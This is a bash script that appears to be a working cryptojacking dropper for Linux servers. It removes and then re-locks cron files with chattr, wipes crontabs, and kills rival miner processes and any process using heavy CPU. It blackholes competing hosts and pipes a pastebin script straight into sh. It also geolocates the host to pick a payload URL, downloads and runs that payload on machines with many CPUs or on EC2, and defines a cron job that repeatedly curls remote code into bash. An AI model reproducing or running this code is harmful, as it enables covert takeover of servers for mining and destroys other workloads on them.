1. #!/bin/bash
  2.  
  3. for file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1; do
  4. if [ -f "$file" ]; then
  5. chattr -i -a "$file"
  6. fi
  7. done
  8. CUSTOM_ARG="${1:-x}"
  9. crontab -r
  10. iptables -A INPUT -s 66.23.199.44 -j DROP
  11. iptables -A INPUT -s 45.94.31.89 -j DROP
  12. ip route add blackhole 139.59.59.33 || true
  13. ip route add blackhole 45.94.31.89 || true
  14. rm -rf /bin/softirq || true
  15. mkdir -p /bin/softirq || true
  16. rm -rf /tmp/nuclear || true
  17. mkdir -p /tmp/nuclear || true
  18.  
  19. ip route add blackhole 154.89.152.115 || true
  20. rm -rf /tmp/runnv/* || true
  21. mkdir -p /tmp/runnv/lived.sh || true
  22. mkdir -p /tmp/runnv/alive.sh || true
  23. mkdir -p /bin/softirq || true
  24. rm -rf /usr/local/bin/watcher || true
  25. mkdir -p /usr/local/bin/watcher || true
  26. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33. kill_and_remove_process() {
  34. local term="$1"
  35. if [ -z "$term" ]; then
  36. echo "term not provided."
  37. return 2
  38. fi
  39.  
  40. local pids
  41. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  42.  
  43. if [ -z "$pids" ]; then
  44. return 1
  45. fi
  46.  
  47. for pid in $pids; do
  48. local exe_path
  49. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  50.  
  51. if [ -z "$exe_path" ]; then
  52. echo "Skipping PID $pid"
  53. continue
  54. fi
  55.  
  56. # SAFETY CHECK: Exclude common system binary paths
  57. case "$exe_path" in
  58. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  59. echo "Skipping system binary for PID $pid at: $exe_path"
  60. continue # Move to the next PID
  61. ;;
  62. esac
  63.  
  64. # If the checks pass, proceed with termination and deletion
  65. echo "Terminating non-system process '$term' with PID: $pid"
  66. kill -9 "$pid"
  67.  
  68. if [ -f "$exe_path" ]; then
  69. echo "Deleting executable: $exe_path"
  70. rm -f "$exe_path"
  71. if [ $? -eq 0 ]; then
  72. echo "Executable successfully deleted."
  73. else
  74. echo "Error: Failed to delete executable. Check permissions."
  75. fi
  76. else
  77. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  78. fi
  79. done
  80.  
  81. return 0
  82. }
  83.  
  84. kill_and_remove_process ".rsyslogd" || true
  85. kill_and_remove_process "crazyeltonproxy" || true
  86. kill_and_remove_process "xmrig" || true
  87. kill_and_remove_process "monero" || true
  88. kill_and_remove_process "c3pool.org:80" || true
  89. kill_and_remove_process "/bin/watcher" || true
  90. kill_and_remove_process "45.94.31.89" || true
  91. kill_and_remove_process "hosts-to-ignore" || true
  92. kill_and_remove_process "supportxmr" || true
  93. kill_and_remove_process "youyutebuae.xyz" || true
  94. kill_and_remove_process "nuclear" || true
  95.  
  96.  
  97. HOSTS_FILE='/etc/hosts'
  98.  
  99. append_line() {
  100. line="$1"
  101.  
  102. # skip if already present
  103. if grep -qxF "$line" "$HOSTS_FILE" 2>/dev/null; then
  104. return 0
  105. fi
  106.  
  107. if [ -w "$HOSTS_FILE" ]; then
  108. echo "$line" >> "$HOSTS_FILE" || :
  109. elif command -v sudo >/dev/null 2>&1 && sudo -n true >/dev/null 2>&1; then
  110. echo "$line" | sudo -n tee -a "$HOSTS_FILE" >/dev/null || :
  111. else
  112. echo "[WARN] Skipping (no permission): $line" >&2
  113. fi
  114. }
  115.  
  116. append_line '0.0.0.0 www.fragbin.com'
  117. append_line '0.0.0.0 fragbin.com'
  118. append_line '0.0.0.0 www.kryptex.network'
  119. append_line '0.0.0.0 xmr.kryptex.network'
  120.  
  121.  
  122.  
  123. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  124. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  125. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  126. fi
  127. done
  128.  
  129.  
  130.  
  131. if [ "$(id -u)" -eq 0 ]; then
  132. echo "Stopping systemd_s service..."
  133. systemctl stop systemd_s
  134. fi
  135.  
  136. check_system_specs() {
  137. local cpu_count=$(nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null || echo 1)
  138. local is_root=false
  139. if [[ $EUID -eq 0 ]]; then
  140. is_root=true
  141. fi
  142.  
  143. if [[ $cpu_count -gt 8 && "$is_root" == "true" ]]; then
  144. echo "VERY GOOD BOY!"
  145. fi
  146. }
  147.  
  148. # Call the function
  149. check_system_specs
  150.  
  151. kill_high_cpu_processes() {
  152. local threshold=150.0
  153. local exclude_patterns=("reservepattern23333" "goAwgBCFH")
  154. local pid cpu cmdline
  155.  
  156. ps -eo pid,%cpu --sort=-%cpu | awk -v threshold="$threshold" \
  157. 'NR>1 && $2 > threshold {print $1}' | while read -r pid; do
  158.  
  159. # Read full command line (even if truncated in `ps`)
  160. if [ -f "/proc/$pid/cmdline" ]; then
  161. cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
  162. else
  163. echo "PID $pid died before inspection"
  164. continue
  165. fi
  166.  
  167. # Check for exclusion patterns in full cmdline
  168. for pattern in "${exclude_patterns[@]}"; do
  169. if [[ "$cmdline" == *"$pattern"* ]]; then
  170. echo "Excluding PID $pid (matched '$pattern')"
  171. continue 2
  172. fi
  173. done
  174.  
  175. if kill -9 "$pid" 2>/dev/null; then
  176. echo "Killed PID $pid (CPU: $(ps -p "$pid" -o %cpu --no-headers)%)"
  177. else
  178. echo "Failed to kill PID $pid (already dead or permission denied)"
  179. fi
  180. done
  181. }
  182.  
  183. kill_high_cpu_processes
  184.  
  185. is_program_running() {
  186. found=0
  187. for proc_dir in /proc/[0-9]*; do
  188. if [ -d "$proc_dir" ]; then
  189. pid=$(basename "$proc_dir")
  190.  
  191. if [ -r "$proc_dir/cmdline" ]; then
  192. cmdline=$(cat "$proc_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  193.  
  194. if echo "$cmdline" | grep -q "goAwgBCFH" && \
  195. ! echo "$cmdline" | grep -q "is_program_running"; then
  196.  
  197. if [ -r "$proc_dir/stat" ]; then
  198. state=$(awk '{print $3}' "$proc_dir/stat" 2>/dev/null)
  199. if [ "$state" != "Z" ]; then
  200. found=1
  201. break
  202. fi
  203. fi
  204. fi
  205. fi
  206. fi
  207. done
  208.  
  209. if [ $found -eq 1 ]; then
  210. echo "Program is running."
  211. return 0
  212. else
  213. echo "Program is not running."
  214. return 1
  215. fi
  216. }
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223. download_and_execute() {
  224. local output_file="run.sh"
  225.  
  226. local is_in_china=false
  227. if command -v curl &> /dev/null; then
  228. if curl -s --connect-timeout 3 -4 http://ip-api.com/json/ | grep -q '"country":"China"'; then
  229. is_in_china=true
  230. fi
  231. elif command -v wget &> /dev/null; then
  232. if wget -qO- --timeout=3 -4 http://ip-api.com/json/ | grep -q '"country":"China"'; then
  233. is_in_china=true
  234. fi
  235. fi
  236.  
  237. # Select appropriate URL
  238. local download_url="$primary_url"
  239. if [ "$is_in_china" = true ]; then
  240. download_url="$china_url"
  241. fi
  242.  
  243. # Download the script
  244. if command -v wget &> /dev/null; then
  245. wget -qO "$output_file" "$download_url"
  246. elif command -v curl &> /dev/null; then
  247. curl -k -o "$output_file" "$download_url"
  248. else
  249. echo "Error: Neither wget nor curl is available. Please install one of them."
  250. exit 1
  251. fi
  252.  
  253. # Execute if download succeeded
  254. if [[ -f "$output_file" ]]; then
  255. chmod +x "$output_file"
  256. sed -i 's/\r$//' "$output_file"
  257. bash ./"$output_file" "$CUSTOM_ARG"
  258. rm -f "$output_file"
  259. else
  260. echo "Error: Failed to download the script from $download_url"
  261. exit 1
  262. fi
  263. }
  264.  
  265. get_cpu_count() {
  266. # Try different methods to get CPU count
  267. if [ -f "/proc/cpuinfo" ]; then
  268. grep -c ^processor /proc/cpuinfo
  269. else
  270. sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  271. fi
  272. }
  273.  
  274. is_ec2_host() {
  275. # Check if hostname contains "ec2" (case insensitive)
  276. hostname | grep -qi -e "ec2" -e "compute"
  277. return $?
  278. }
  279.  
  280. # Main logic
  281. if ! is_program_running; then
  282. cpu_count=$(get_cpu_count)
  283. if [ "$cpu_count" -gt 3 ] || is_ec2_host; then
  284. download_and_execute
  285. else
  286. echo "LOW CPU: System has only $cpu_count CPUs (minimum 4 required) and is not an EC2 instance"
  287. fi
  288. fi
  289. create_cronjob() {
  290. local cron_command
  291. if command -v curl >/dev/null; then
  292. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | bash'"
  293. elif command -v wget >/dev/null; then
  294. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | bash'"
  295. else
  296. log "Error: Cannot create cron job, neither curl nor wget is available."
  297. return 1
  298. fi
  299.  
  300. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  301. log "Cron job successfully configured."
  302. }
  303.  
  304.  
  305. for file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  306. if [ -f "$file" ]; then
  307. chattr +i "$file"
  308. chattr +a "$file"
  309. fi
  310. done